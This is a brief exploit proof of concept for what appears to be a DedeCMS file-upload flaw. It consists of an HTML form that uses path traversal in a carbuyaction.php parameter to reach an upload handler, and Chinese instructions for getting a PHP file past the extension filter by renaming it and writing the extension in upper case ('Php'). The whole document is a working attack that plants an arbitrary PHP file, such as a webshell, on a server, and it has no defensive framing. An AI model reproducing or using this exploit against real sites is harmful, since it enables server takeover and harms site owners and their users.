EXp：

<form action="http://127.0.0.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1">
file:<input name="uploadfile" type="file" /><br>

newname:<input name="newname" type="text" value="myfile.Php"/>

<button class="button2" type="submit">提交</button><br><br>

1,必须登陆用户。<br>

2,将待上传PHP文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br>

3,newname为上传后的新文件名，扩展名使用大写绕过，如“Php”。<br>

</form>